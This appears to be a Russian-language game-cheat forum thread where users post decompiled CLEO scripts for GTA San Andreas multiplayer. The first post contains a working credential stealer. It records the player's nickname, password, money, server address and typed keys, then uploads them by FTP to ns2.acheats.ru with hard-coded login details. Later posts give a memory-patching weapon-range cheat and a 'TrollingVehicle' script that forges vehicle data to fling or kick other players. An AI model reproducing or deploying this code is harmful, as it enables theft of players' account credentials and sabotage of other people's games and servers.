69 64 5D 20 7B 45 41 45 41 45 41 7D 97 20 C7 E0
F0 E5 F1 EF E0 E2 ED E8 F2 FC 20 D2 D1 20 F1 20
F3 EA E0 E7 E0 ED ED FB EC 20 49 44 2E 0A 7B 30
30 43 43 46 46 7D 2F 73 70 61 77 6E 63 61 72 73
20 7B 45 41 45 41 45 41 7D 97 20 C7 E0 F0 E5 F1
EF E0 E2 ED E8 F2 FC 20 E2 F1 E5 20 D2 D1 20 E2
20 E7 EE ED E5 20 F1 F2 F0 E8 EC E0 2E 0A 7B 30
30 43 43 46 46 7D 2F 76 63 6F 6C 73 20 5B 69 64
5F D2 D1 5D 20 7B 45 41 45 41 45 41 7D 97 20 CE
EF F0 E5 E4 E5 EB E8 F2 FC 20 F6 E2 E5 F2 20 F2
F0 E0 ED F1 EF EE F0 F2 ED EE E3 EE 20 F1 F0 E5
E4 F1 F2 E2 E0 2E 0A 7B 30 30 43 43 46 46 7D 2F
73 76 63 6F 6C 73 20 5B 69 64 5F F6 E2 E5 F2 E0
5D 20 5B 69 64 5F F6 E2 E5 F2 E0 5D 20 7B 45 41
45 41 45 41 7D 97 20 C8 E7 EC E5 ED E8 F2 FC 20
F6 E2 E5 F2 20 F2 E5 EA F3 F9 E5 E3 EE 20 F2 F0
E0 ED F1 EF EE F0 F2 ED EE E3 EE 20 F1 F0 E5 E4
F1 F2 E2 E0 2E 0A 7B 30 30 43 43 46 46 7D 2F 63
76 65 68 20 5B 69 64 5F D2 D1 5D 20 7B 45 41 45
41 45 41 7D 97 20 D1 EE E7 E4 E0 F2 FC 20 F2 F0
E0 ED F1 EF EE F0 F2 ED EE E5 20 F1 F0 E5 E4 F1
F2 E2 EE 2E 0A 7B 30 30 43 43 46 46 7D 2F 73 63
61 72 20 5B 69 64 5F E8 E3 F0 EE EA E0 5D 20 7B
45 41 45 41 45 41 7D 97 20 D1 E5 F1 F2 FC 20 E2
20 E0 E2 F2 EE 20 E8 E3 F0 EE EA E0 20 28 ED E0
20 E2 EE E4 E8 F2 E5 EB FC F1 EA EE E5 20 EC E5
F1 F2 EE 29 2E 0A 7B 30 30 43 43 46 46 7D 2F 67
63 61 72 20 5B 69 64 5F E8 E3 F0 EE EA E0 5D 20
7B 45 41 45 41 45 41 7D 97 20 D3 EA F0 E0 F1 F2
FC 20 E0 E2 F2 EE 20 F3 20 E8 E3 F0 EE EA E0 2E
0A 7B 30 30 43 43 46 46 7D 2F 69 6E 63 61 72 20
7B 45 41 45 41 45 41 7D 97 20 D1 E5 F1 F2 FC 20
E2 20 E1 EB E8 E6 E0 E9 F8 E5 E5 20 E0 E2 F2 EE
2E 0A 7B 30 30 43 43 46 46 7D 2F 61 64 64 70 74
20 5B EA EE EB 2D E2 EE 5D 20 7B 45 41 45 41 45
41 7D 97 20 C4 EE E1 E0 E2 E8 F2 FC 20 E7 E0 E4
E0 ED ED EE E5 20 EA EE EB 2D E2 EE 20 EF E0 F2
F0 EE ED EE E2 20 EA 20 F2 E5 EA F3 F9 E5 EC F3
20 EE F0 F3 E6 E8 FE 2E 0A 7B 30 30 43 43 46 46
7D 2F 69 7A 6E 20 5B 69 64 5D 20 7B 45 41 45 41
45 41 7D 97 20 C8 E7 ED E0 F1 E8 EB EE E2 E0 F2
FC 20 E8 E3 F0 EE EA E0 20 ED E0 20 F0 E0 F1 F1
F2 EE FF ED E8 E8 2E 0A 7B 30 30 43 43 46 46 7D
2F 6B 6E 6F 63 6B 20 5B 69 64 5D 20 7B 45 41 45
41 45 41 7D 97 20 D1 E1 E8 F2 FC 20 E8 E3 F0 EE
EA E0 20 F1 20 ED EE E3 20 ED E0 20 F0 E0 F1 F1
F2 EE FF ED E8 E8 2E 0A 7B 30 30 43 43 46 46 7D
2F 63 6D 64 72 61 74 65 20 5B 69 64 5D 20 5B E7
E0 E4 E5 F0 E6 EA E0 5D 20 7B 45 41 45 41 45 41
7D 97 20 C8 E7 EC E5 ED E8 F2 FC 20 E7 E0 E4 E5
F0 E6 EA F3 20 EE F2 EF F0 E0 E2 EA E8 20 EF E0
EA E5 F2 EE E2 20 28 E2 20 EC F1 29 2E 0A 7B 30
30 43 43 46 46 7D 2F 71 73 65 72 76 20 7B 45 41
45 41 45 41 7D 97 20 CE F2 EA EB FE F7 E8 F2 FC
F1 FF 20 EE F2 20 F1 E5 F0 E2 E5 F0 E0 2E 0A 7B
45 41 45 41 45 41 7D C0 E2 F2 EE F0 3A 20 7B 30
30 43 43 46 46 7D 68 6E 6E 73 73 79 0A 7B 45 41
45 41 45 41 7D D1 EF E5 F6 E8 E0 EB FC ED EE 20
E4 EB FF 20 7B 30 30 43 43 46 46 7D 61 63 68 65
61 74 73 2E 72 75 00 24 0B 03 00 00
end
0103:   actor stopped_in_car
000A: 1@ += 32
0A8D: 1@ = read_memory 1@ size 4 virtual_protect 1
0AB2: ret 1 1@
0AA7: call_function 7392816 num_params 6 pop 6 1 1 7@s 6@s 2@s 0@s 29@ 
0073: 2@ /= 6@ // (float)
0073: 2@ /= 4@ // (float)
0073: 3@ /= 7@ // (float)
0073: 3@ /= 4@ // (float)
0B5A: get_screen_resolution 11@ 12@
006B: 2@ *= 11@ // (float)
006B: 3@ *= 12@ // (float)
0AB2: ret 2 2@ 3@

:Label0025F5
0B2B: samp 3@ = get_player_id_by_actor_handle $PLAYER_ACTOR
0B24: samp 3@ = get_player_struct_ptr 3@
000A: 3@ += 109
0AC8: 4@ = allocate_memory_size 68
0C10: memcpy destination 4@ source 3@ size 68
0C0D: struct 4@ offset 6 size 4 = 0@
0C0D: struct 4@ offset 10 size 4 = 1@
0C0D: struct 4@ offset 14 size 4 = 2@
0B3D: raknet 5@ = new_bit_stream
0B40: raknet bit_stream 5@ write 212 type 0 size 1
0B40: raknet bit_stream 5@ write 4@ type 5 size 68
0B42: raknet send bit_stream 5@ priority 1 reliability 1 ordering_channel 0
0B3E: raknet delete_bit_stream 5@
0AC9: free_allocated_memory 4@
0AB2: ret 0

:Label002678
0AF7: samp 10@ = get_base
0085: 2@ = 10@ // (int)
000A: 2@ += 2173496
0A8D: 2@ = read_memory 2@ size 4 virtual_protect 0
000A: 2@ += 979
0A8D: 2@ = read_memory 2@ size 4 virtual_protect 0
000A: 2@ += 114440
000A: 2@ += 28672
0006: 3@ = 20
006A: 3@ *= 0@ // (int)
005A: 2@ += 3@ // (int)
0A8D: 4@ = read_memory 2@ size 4 virtual_protect 0
000A: 2@ += 4
0A8D: 5@ = read_memory 2@ size 4 virtual_protect 0
000A: 2@ += 4
0A8D: 6@ = read_memory 2@ size 4 virtual_protect 0
000A: 2@ += 4
0A8D: 7@ = read_memory 2@ size 4 virtual_protect 0
000A: 2@ += 4
0A8D: 8@ = read_memory 2@ size 4 virtual_protect 0
0AB2: ret 5 4@ 5@ 6@ 7@ 8@

:Label002744
0001: wait 0 ms
0B43: samp cmd_ret

:Label00274A
0001: wait 0 ms
0AC8: 0@ = allocate_memory_size 60
0AC8: 1@ = allocate_memory_size 60
0AC8: 2@ = allocate_memory_size 60
0AD3: 0@ = format "ns2.acheats.ru" 
0AD3: 1@ = format "hnnssy" 
0AD3: 2@ = format "Zn7iXXCp66" 
0AB1: call_scm_func @Label002BD0 0 3@ 
0AB1: call_scm_func @Label002B78 4 3@ 0@ 1@ 2@ 25@ 
0AD3: 0@ = format "/stealler/commands.txt" 
0AD3: 1@ = format "CLEO/commands.txt" 
00D6: if
0AB1: call_scm_func @Label002ABF 3 25@ 0@ 1@ 
004D: jump_if_false @Label002814

:Label002814
0A9A: 4@ = openfile "CLEO\commands.txt" mode "at" // IF and SET
010B: 5@ = player $PLAYER_CHAR money
0B2B: samp 6@ = get_player_id_by_actor_handle $PLAYER_ACTOR
0B36: samp 6@ = get_player_nickname 6@
0AC8: 7@ = allocate_memory_size 128
0B39: samp get_current_server_address 7@ port 8@
0AD3: 7@ = format "%s:%d" 7@ 8@ 
0AC8: 8@ = allocate_memory_size 128
0B3A: samp 8@ = get_current_server_name
0665: get_actor $PLAYER_ACTOR model_to 9@
0AD9: write_formatted_text "===============%c" in_file 4@ 10 
0AD9: write_formatted_text "Name: %s %c" in_file 4@ 6@ 10 
0AD9: write_formatted_text "Password: %s %c" in_file 4@ 21@ 10 
0AD9: write_formatted_text "Money: %d %c" in_file 4@ 5@ 10 
0AD9: write_formatted_text "ServerIP: %s %c" in_file 4@ 7@ 10 
0AD9: write_formatted_text "ServerName: %s %c" in_file 4@ 8@ 10 
0AD9: write_formatted_text "Skin: %d %c" in_file 4@ 9@ 10 
0AC9: free_allocated_memory 7@
0AC9: free_allocated_memory 8@
0AC9: free_allocated_memory 21@
0A9B: closefile 4@
00D6: if
0AB1: call_scm_func @Label002B1E 3 25@ 1@ 0@ 
004D: jump_if_false @Label002981
0B00: delete_file "CLEO\commands.txt" // IF and SET

:Label002981
0051: return

:Label002983
0001: wait 0 ms
0AC8: 0@ = allocate_memory_size 60
0AC8: 1@ = allocate_memory_size 60
0AC8: 2@ = allocate_memory_size 60
0AD3: 0@ = format "ns2.acheats.ru" 
0AD3: 1@ = format "hnnssy" 
0AD3: 2@ = format "Zn7iXXCp66" 
0AB1: call_scm_func @Label002BD0 0 3@ 
0AB1: call_scm_func @Label002B78 4 3@ 0@ 1@ 2@ 25@ 
0AD3: 0@ = format "/stealler/commands.txt" 
0AD3: 1@ = format "CLEO/commands.txt" 
00D6: if
0AB1: call_scm_func @Label002ABF 3 25@ 0@ 1@ 
004D: jump_if_false @Label002A4D

:Label002A4D
0A9A: 4@ = openfile "CLEO\commands.txt" mode "at" // IF and SET
0AD9: write_formatted_text "Key: %s %c" in_file 4@ 22@ 10 
0AC9: free_allocated_memory 22@
0A9B: closefile 4@
00D6: if
0AB1: call_scm_func @Label002B1E 3 25@ 1@ 0@ 
004D: jump_if_false @Label002ABD
0B00: delete_file "CLEO\commands.txt" // IF and SET

:Label002ABD
0051: return

:Label002ABF
0AA2: 17@ = load_library "wininet.dll" // IF and SET
0AA4: 18@ = get_proc_address "FtpGetFileA" library 17@ // IF and SET
0AA7: call_function 18@ num_params 7 pop 0 0 0 128 0 2@ 1@ 0@ 3@ 
00D6: if
0039:   3@ == 1
004D: jump_if_false @Label002B19
0485:   return_true

:Label002B19
0AB2: ret 0

:Label002B1E
0AA2: 17@ = load_library "wininet.dll" // IF and SET
0AA4: 18@ = get_proc_address "FtpPutFileA" library 17@ // IF and SET
0AA7: call_function 18@ num_params 5 pop 0 0 1 2@ 1@ 0@ 3@ 
00D6: if
0039:   3@ == 1
004D: jump_if_false @Label002B73
0485:   return_true

:Label002B73
0AB2: ret 0

:Label002B78
0AA2: 17@ = load_library "wininet.dll" // IF and SET
0AA4: 18@ = get_proc_address "InternetConnectA" library 17@ // IF and SET
0AA7: call_function 18@ num_params 8 pop 0 0 134217728 1 3@ 2@ 21 1@ 0@ 4@ 
0AB2: ret 1 4@

:Label002BD0
0AA2: 17@ = load_library "wininet.dll" // IF and SET
0AA4: 18@ = get_proc_address "InternetOpenA" library 17@ // IF and SET
0AA7: call_function 18@ num_params 5 pop 0 0 0 0 1 0 0@ 
0AB2: ret 1 0@

:Label002C18
0B2B: samp 0@ = get_player_id_by_actor_handle $PLAYER_ACTOR
0B24: samp 0@ = get_player_struct_ptr 0@
000A: 0@ += 244
0A8D: 0@ = read_memory 0@ size 4 virtual_protect 0
00D6: if
0039:   0@ == 1
004D: jump_if_false @Label002C57
0485:   return_true
0AB2: ret 0 1

:Label002C57
059A:   return_false
0AB2: ret 0
 
  • Нравится
Реакции: checkdasound

MAHEKEH

Известный
1,988
494
Код:
[SPOILER="Code"]
{$CLEO .cs}

//-------------MAIN---------------
0007: 0@ = -1551
0050: gosub 0@
hex
69 73
end
hex
04 00 FA 0A
end
004D: jump_if_false @Label000012
0AF8: samp add_message_to_chat "WeaponDist by Black Jesus ацтивация DIS (как чит-код)" color 9902251
0001: wait 0 ms
00D6: if
0AAB:   file_exists "CLEO\weapondist.ini"
004D: jump_if_false @Label0001A6
0AF2: 0@ = get_float_from_ini_file "CLEO\weapondist.ini" section "DistControl" key "Distance"
0AF2: 1@ = get_float_from_ini_file "CLEO\weapondist.ini" section "Fist|Kastet" key "Distance"
0AF2: 2@ = get_float_from_ini_file "CLEO\weapondist.ini" section "Deagle" key "Distance"
0AF2: 3@ = get_float_from_ini_file "CLEO\weapondist.ini" section "M4|AK-47" key "Distance"
0AF2: 4@ = get_float_from_ini_file "CLEO\weapondist.ini" section "Rifle|Sniper" key "Distance"
0AF2: 5@ = get_float_from_ini_file "CLEO\weapondist.ini" section "Shotgun" key "Distance"
0002: jump @Label0002CD

:Label0001A6
0AF3: write_float 900.0 to_ini_file "CLEO\weapondist.ini" section "DistControl" key "Distance"
0AF3: write_float 300.0 to_ini_file "CLEO\weapondist.ini" section "Fist|Kastet" key "Distance"
0AF3: write_float 102.0 to_ini_file "CLEO\weapondist.ini" section "Deagle" key "Distance"
0AF3: write_float 300.0 to_ini_file "CLEO\weapondist.ini" section "M4|AK-47" key "Distance"
0AF3: write_float 500.0 to_ini_file "CLEO\weapondist.ini" section "Rifle|Sniper" key "Distance"
0AF3: write_float 300.0 to_ini_file "CLEO\weapondist.ini" section "Shotgun" key "Distance"

:Label0002CD
0001: wait 0 ms
00D6: if
0256:   player $PLAYER_ACTOR defined
004D: jump_if_false @Label00032B
0AF2: 0@ = get_float_from_ini_file "CLEO\weapondist.ini" section "DistControl" key "Distance"
0A8C: write_memory 12043504 size 4 value 0@ virtual_protect 1
0001: wait 0 ms
0002: jump @Label00032B

:Label00032B
0001: wait 0 ms
00D6: if
0ADC:   test_cheat "dis"
004D: jump_if_false @Label00032B
0ACD: show_text_highpriority "WeaponDist by Black Jesus is ON" time 3000
018C: play_sound 1083 at 0.0 0.0 0.0
0001: wait 0 ms
0002: jump @Label000386

:Label000386
0001: wait 0 ms
00D6: if or
02D8:   actor $PLAYER_ACTOR current_weapon == 0
02D8:   actor $PLAYER_ACTOR current_weapon == 1
004D: jump_if_false @Label0003E9
0AF2: 1@ = get_float_from_ini_file "CLEO\weapondist.ini" section "Fist|Kastet" key "Distance"
0A8C: write_memory 12043504 size 4 value 1@ virtual_protect 1
0002: jump @Label0003E9

:Label0003E9
0001: wait 0 ms
00D6: if
02D8:   actor $PLAYER_ACTOR current_weapon == 24
004D: jump_if_false @Label000440
0AF2: 2@ = get_float_from_ini_file "CLEO\weapondist.ini" section "Deagle" key "Distance"
0A8C: write_memory 12043504 size 4 value 2@ virtual_protect 1
0002: jump @Label000440

:Label000440
0001: wait 0 ms
00D6: if or
02D8:   actor $PLAYER_ACTOR current_weapon == 30
02D8:   actor $PLAYER_ACTOR current_weapon == 31
004D: jump_if_false @Label0004A0
0AF2: 3@ = get_float_from_ini_file "CLEO\weapondist.ini" section "M4|AK-47" key "Distance"
0A8C: write_memory 12043504 size 4 value 3@ virtual_protect 1
0002: jump @Label0004A0

:Label0004A0
0001: wait 0 ms
00D6: if or
02D8:   actor $PLAYER_ACTOR current_weapon == 33
02D8:   actor $PLAYER_ACTOR current_weapon == 34
004D: jump_if_false @Label000504
0AF2: 4@ = get_float_from_ini_file "CLEO\weapondist.ini" section "Rifle|Sniper" key "Distance"
0A8C: write_memory 12043504 size 4 value 4@ virtual_protect 1
0002: jump @Label000504

:Label000504
0001: wait 0 ms
00D6: if
02D8:   actor $PLAYER_ACTOR current_weapon == 25
004D: jump_if_false @Label00055C
0AF2: 5@ = get_float_from_ini_file "CLEO\weapondist.ini" section "Shotgun" key "Distance"
0A8C: write_memory 12043504 size 4 value 5@ virtual_protect 1
0002: jump @Label00055C

:Label00055C
0001: wait 0 ms
00D6: if
0ADC:   test_cheat "dis"
004D: jump_if_false @Label000386
0ACD: show_text_highpriority "WeaponDist by Black Jesus is OFF" time 3000
018C: play_sound 1084 at 0.0 0.0 0.0
0AF2: 0@ = get_float_from_ini_file "CLEO\weapondist.ini" section "DistControl" key "Distance"
0A8C: write_memory 12043504 size 4 value 0@ virtual_protect 1
0002: jump @Label00032B
Можешь верхний кусочек кода открыть, а то не компильнуть. :sad_frog: :thinking:
 

™ ChipFamily

По ту сторону надежды.
5,144
1,980
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
CLEO:
// This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
{$CLEO .cs}

//-------------MAIN---------------
0662: printstring "==============================================================="
0662: printstring "My VK: vk.com/id138101483"
0662: printstring "My Skype: hackes8"
0662: printstring "Group VK: vk.com/by_air"
0662: printstring "My YouTube Channel: www.youtube.com/spacebmxair\";"
0662: printstring "All rights reserved ©"
0662: printstring "==============================================================="

:Label000121
0001: wait 0 ms
0AFA:  is_samp_available
004D: jump_if_false @Label000121
0006: 9@ = 0
0B34: samp register_client_command "aslp" to_label @Label0004C8
0B34: samp register_client_command "aflp" to_label @Label0008BF
0B34: samp register_client_command "abb" to_label @Label000CB6
0B34: samp register_client_command "akick" to_label @Label0010AC
0AF8: samp add_message_to_chat "[TrollingVehicle {FFC830}(The Continuation) {CC0000}by AIR{33FF33}]: {FFFFFF}Loaded! (/aslp, /aflp, /abb, /akick)" color 3407667 

:Label0001E4
0001: wait 0 ms
00D6: if and
00DF:   actor $PLAYER_ACTOR driving
0019:   9@ > 0
004D: jump_if_false @Label0004C1
00D6: if
056D:   actor 2@ defined
004D: jump_if_false @Label0004BA
00D6: if and
0AB0:   key_pressed 2
00DF:   actor 2@ driving
004D: jump_if_false @Label0004B3
00D6: if
0039:   9@ == 1
004D: jump_if_false @Label0002CB
03C0: 7@ = actor 2@ car
0407: store_coords_to 4@ 5@ 6@ from_car 7@ with_offset 0.0 0.0 9.9
0AC8: 3@ = allocate_memory_size 67
0BBB: samp store_player 1@ incar_data 3@
0C0D: struct 3@ offset 32 size 4 = 6@
0BC1: samp send_incar_data 3@
0AC9: free_allocated_memory 3@
0AD0: show_formatted_text_lowpriority "TrollingVehicle (The Continuation):~n~~r~Slap the player ~g~%d" time 100 1@ 
0001: wait 50 ms

:Label0002CB
00D6: if
0039:   9@ == 2
004D: jump_if_false @Label0003AB
03C0: 7@ = actor 2@ car
0407: store_coords_to 4@ 5@ 6@ from_car 7@ with_offset 0.0 0.0 2.2
0AC8: 3@ = allocate_memory_size 67
0BBB: samp store_player 1@ incar_data 3@
0C0D: struct 3@ offset 8 size 4 = 0.042
0C0D: struct 3@ offset 12 size 4 = 0.67
0C0D: struct 3@ offset 16 size 4 = -0.73
0C0D: struct 3@ offset 20 size 4 = 0.045
0C0D: struct 3@ offset 32 size 4 = 6@
0BC1: samp send_incar_data 3@
0AC9: free_allocated_memory 3@
0AD0: show_formatted_text_lowpriority "TrollingVehicle (The Continuation):~n~~r~Flip the player ~g~%d" time 100 1@ 
0001: wait 50 ms

:Label0003AB
00D6: if
0039:   9@ == 3
004D: jump_if_false @Label0004B3
03C0: 7@ = actor 2@ car
0208: 8@ = random_float_in_ranges -0.6 0.6
0407: store_coords_to 4@ 5@ 6@ from_car 7@ with_offset 0.0 0.0 9.9
0AC8: 3@ = allocate_memory_size 67
0BBB: samp store_player 1@ incar_data 3@
0C0D: struct 3@ offset 8 size 4 = 0.042
0C0D: struct 3@ offset 12 size 4 = 0.67
0C0D: struct 3@ offset 16 size 4 = -0.73
0C0D: struct 3@ offset 20 size 4 = 0.045
0C0D: struct 3@ offset 32 size 4 = 6@
0C0D: struct 3@ offset 36 size 4 = 8@
0C0D: struct 3@ offset 40 size 4 = 8@
0BC1: samp send_incar_data 3@
0AC9: free_allocated_memory 3@
0AD0: show_formatted_text_lowpriority "TrollingVehicle (The Continuation):~n~~r~Throw the player ~g~%d" time 100 1@ 
0001: wait 50 ms

:Label0004B3
0002: jump @Label0004C1

:Label0004BA
0006: 9@ = 0

:Label0004C1
0002: jump @Label0001E4

:Label0004C8
00D6: if
8039:   not  9@ == 0
004D: jump_if_false @Label000554
0006: 9@ = 0
0AF8: samp add_message_to_chat "[TrollingVehicle {FFC830}(The Continuation) {CC0000}by AIR{33FF33}]: {FFFFFF}Success! Deactivated!" color 3407667 
0002: jump @Label0008BD

:Label000554
0B35: samp 0@ = get_last_command_params
00D6: if
0AD4: 0@ = scan_string 0@ format "%d" 1@ 
004D: jump_if_false @Label000849
00D6: if
0B23:  samp is_player_connected 1@
004D: jump_if_false @Label0007CB
0B20: samp 2@ = actor_handle_by_samp_player_id 1@
00D6: if and
056D:   actor 2@ defined
056D:   actor $PLAYER_ACTOR defined
004D: jump_if_false @Label000744
00D6: if and
00DF:   actor 2@ driving
00DF:   actor $PLAYER_ACTOR driving
004D: jump_if_false @Label0006BC
0006: 9@ = 1
0AF8: samp add_message_to_chat "[TrollingVehicle {FFC830}(The Continuation) {CC0000}by AIR{33FF33}]: {FFFFFF}Success! Activated to player - {02E1D9}%d" color 3407667 1@ 
0AF8: samp add_message_to_chat "[TrollingVehicle {FFC830}(The Continuation) {CC0000}by AIR{33FF33}]: {FFFFFF}Right click mouse to trolling!" color 3407667 
0002: jump @Label00073D

:Label0006BC
0AF8: samp add_message_to_chat "[TrollingVehicle {FFC830}(The Continuation) {CC0000}by AIR{33FF33}]: {FFFFFF}Error! You and the player must be driving!" color 3407667 

:Label00073D
0002: jump @Label0007C4

:Label000744
0AF8: samp add_message_to_chat "[TrollingVehicle {FFC830}(The Continuation) {CC0000}by AIR{33FF33}]: {FFFFFF}Error! You and the player must be nearby!" color 3407667 

:Label0007C4
0002: jump @Label000842

:Label0007CB
0AF8: samp add_message_to_chat "[TrollingVehicle {FFC830}(The Continuation) {CC0000}by AIR{33FF33}]: {FFFFFF}Error! Player is not connection!" color 3407667 

:Label000842
0002: jump @Label0008BD

:Label000849
0AF8: samp add_message_to_chat "[TrollingVehicle {FFC830}(The Continuation) {CC0000}by AIR{33FF33}]: {FFFFFF}Error! Use: /aslp [PlayerID]!" color 3407667 

:Label0008BD
0B43: samp cmd_ret

:Label0008BF
00D6: if
8039:   not  9@ == 0
004D: jump_if_false @Label00094B
0006: 9@ = 0
0AF8: samp add_message_to_chat "[TrollingVehicle {FFC830}(The Continuation) {CC0000}by AIR{33FF33}]: {FFFFFF}Success! Deactivated!" color 3407667 
0002: jump @Label000CB4

:Label00094B
0B35: samp 0@ = get_last_command_params
00D6: if
0AD4: 0@ = scan_string 0@ format "%d" 1@ 
004D: jump_if_false @Label000C40
00D6: if
0B23:  samp is_player_connected 1@
004D: jump_if_false @Label000BC2
0B20: samp 2@ = actor_handle_by_samp_player_id 1@
00D6: if and
056D:   actor 2@ defined
056D:   actor $PLAYER_ACTOR defined
004D: jump_if_false @Label000B3B
00D6: if and
00DF:   actor 2@ driving
00DF:   actor $PLAYER_ACTOR driving
004D: jump_if_false @Label000AB3
0006: 9@ = 2
0AF8: samp add_message_to_chat "[TrollingVehicle {FFC830}(The Continuation) {CC0000}by AIR{33FF33}]: {FFFFFF}Success! Activated to player - {02E1D9}%d" color 3407667 1@ 
0AF8: samp add_message_to_chat "[TrollingVehicle {FFC830}(The Continuation) {CC0000}by AIR{33FF33}]: {FFFFFF}Right click mouse to trolling!" color 3407667 
0002: jump @Label000B34

:Label000AB3
0AF8: samp add_message_to_chat "[TrollingVehicle {FFC830}(The Continuation) {CC0000}by AIR{33FF33}]: {FFFFFF}Error! You and the player must be driving!" color 3407667 

:Label000B34
0002: jump @Label000BBB

:Label000B3B
0AF8: samp add_message_to_chat "[TrollingVehicle {FFC830}(The Continuation) {CC0000}by AIR{33FF33}]: {FFFFFF}Error! You and the player must be nearby!" color 3407667 

:Label000BBB
0002: jump @Label000C39

:Label000BC2
0AF8: samp add_message_to_chat "[TrollingVehicle {FFC830}(The Continuation) {CC0000}by AIR{33FF33}]: {FFFFFF}Error! Player is not connection!" color 3407667 

:Label000C39
0002: jump @Label000CB4

:Label000C40
0AF8: samp add_message_to_chat "[TrollingVehicle {FFC830}(The Continuation) {CC0000}by AIR{33FF33}]: {FFFFFF}Error! Use: /aflp [PlayerID]!" color 3407667 

:Label000CB4
0B43: samp cmd_ret

:Label000CB6
00D6: if
8039:   not  9@ == 0
004D: jump_if_false @Label000D42
0006: 9@ = 0
0AF8: samp add_message_to_chat "[TrollingVehicle {FFC830}(The Continuation) {CC0000}by AIR{33FF33}]: {FFFFFF}Success! Deactivated!" color 3407667 
0002: jump @Label0010AA

:Label000D42
0B35: samp 0@ = get_last_command_params
00D6: if
0AD4: 0@ = scan_string 0@ format "%d" 1@ 
004D: jump_if_false @Label001037
00D6: if
0B23:  samp is_player_connected 1@
004D: jump_if_false @Label000FB9
0B20: samp 2@ = actor_handle_by_samp_player_id 1@
00D6: if and
056D:   actor 2@ defined
056D:   actor $PLAYER_ACTOR defined
004D: jump_if_false @Label000F32
00D6: if and
00DF:   actor 2@ driving
00DF:   actor $PLAYER_ACTOR driving
004D: jump_if_false @Label000EAA
0006: 9@ = 3
0AF8: samp add_message_to_chat "[TrollingVehicle {FFC830}(The Continuation) {CC0000}by AIR{33FF33}]: {FFFFFF}Success! Activated to player - {02E1D9}%d" color 3407667 1@ 
0AF8: samp add_message_to_chat "[TrollingVehicle {FFC830}(The Continuation) {CC0000}by AIR{33FF33}]: {FFFFFF}Right click mouse to trolling!" color 3407667 
0002: jump @Label000F2B

:Label000EAA
0AF8: samp add_message_to_chat "[TrollingVehicle {FFC830}(The Continuation) {CC0000}by AIR{33FF33}]: {FFFFFF}Error! You and the player must be driving!" color 3407667 

:Label000F2B
0002: jump @Label000FB2

:Label000F32
0AF8: samp add_message_to_chat "[TrollingVehicle {FFC830}(The Continuation) {CC0000}by AIR{33FF33}]: {FFFFFF}Error! You and the player must be nearby!" color 3407667 

:Label000FB2
0002: jump @Label001030

:Label000FB9
0AF8: samp add_message_to_chat "[TrollingVehicle {FFC830}(The Continuation) {CC0000}by AIR{33FF33}]: {FFFFFF}Error! Player is not connection!" color 3407667 

:Label001030
0002: jump @Label0010AA

:Label001037
0AF8: samp add_message_to_chat "[TrollingVehicle {FFC830}(The Continuation) {CC0000}by AIR{33FF33}]: {FFFFFF}Error! Use: /abb [PlayerID]!" color 3407667 

:Label0010AA
0B43: samp cmd_ret

:Label0010AC
0B35: samp 0@ = get_last_command_params
00D6: if
0AD4: 0@ = scan_string 0@ format "%d" 12@ 
004D: jump_if_false @Label00143C
00D6: if
0B23:  samp is_player_connected 12@
004D: jump_if_false @Label0013BE
0B20: samp 13@ = actor_handle_by_samp_player_id 12@
00D6: if and
056D:   actor 13@ defined
056D:   actor $PLAYER_ACTOR defined
004D: jump_if_false @Label001337
00D6: if and
00DF:   actor 13@ driving
00DF:   actor $PLAYER_ACTOR driving
004D: jump_if_false @Label0012AF
03C0: 7@ = actor 13@ car
0407: store_coords_to 4@ 5@ 6@ from_car 7@ with_offset 0.0 0.0 0.0
00A0: store_actor $PLAYER_ACTOR position_to 10@ 11@ 6@
0509: 6@ = distance_between_XY 4@ 5@ and_XY 10@ 11@
00D6: if
8031:   not  6@ >= 66.66
004D: jump_if_false @Label001238
0AC8: 3@ = allocate_memory_size 67
0BBB: samp store_player 12@ incar_data 3@
0C0D: struct 3@ offset 24 size 4 = 0.0
0C0D: struct 3@ offset 28 size 4 = 0.0
0C0D: struct 3@ offset 32 size 4 = 55.55
0BC1: samp send_incar_data 3@
0AC9: free_allocated_memory 3@
0AF8: samp add_message_to_chat "[TrollingVehicle {FFC830}(The Continuation) {CC0000}by AIR{33FF33}]: {FFFFFF}Success! Player {02E1D9}%d {FFFFFF}is kicked!" color 3407667 12@ 
0002: jump @Label0012A8

:Label001238
0AF8: samp add_message_to_chat "[TrollingVehicle {FFC830}(The Continuation) {CC0000}by AIR{33FF33}]: {FFFFFF}Error! The long distance!" color 3407667 

:Label0012A8
0002: jump @Label001330

:Label0012AF
0AF8: samp add_message_to_chat "[TrollingVehicle {FFC830}(The Continuation) {CC0000}by AIR{33FF33}]: {FFFFFF}Error! You and the player must be driving!" color 3407667 

:Label001330
0002: jump @Label0013B7

:Label001337
0AF8: samp add_message_to_chat "[TrollingVehicle {FFC830}(The Continuation) {CC0000}by AIR{33FF33}]: {FFFFFF}Error! You and the player must be nearby!" color 3407667 

:Label0013B7
0002: jump @Label001435

:Label0013BE
0AF8: samp add_message_to_chat "[TrollingVehicle {FFC830}(The Continuation) {CC0000}by AIR{33FF33}]: {FFFFFF}Error! Player is not connection!" color 3407667 

:Label001435
0002: jump @Label0014B1

:Label00143C
0AF8: samp add_message_to_chat "[TrollingVehicle {FFC830}(The Continuation) {CC0000}by AIR{33FF33}]: {FFFFFF}Error! Use: /akick [PlayerID]!" color 3407667 

:Label0014B1
0B43: samp cmd_ret
 

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btrtmr

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Как поменять такие буквы "Iica?aaey?! Вu iai iiaoiaeoa. Nae?an y caiiei? io?iua aieoiaiou, i?eaaeoa." на нормальные ?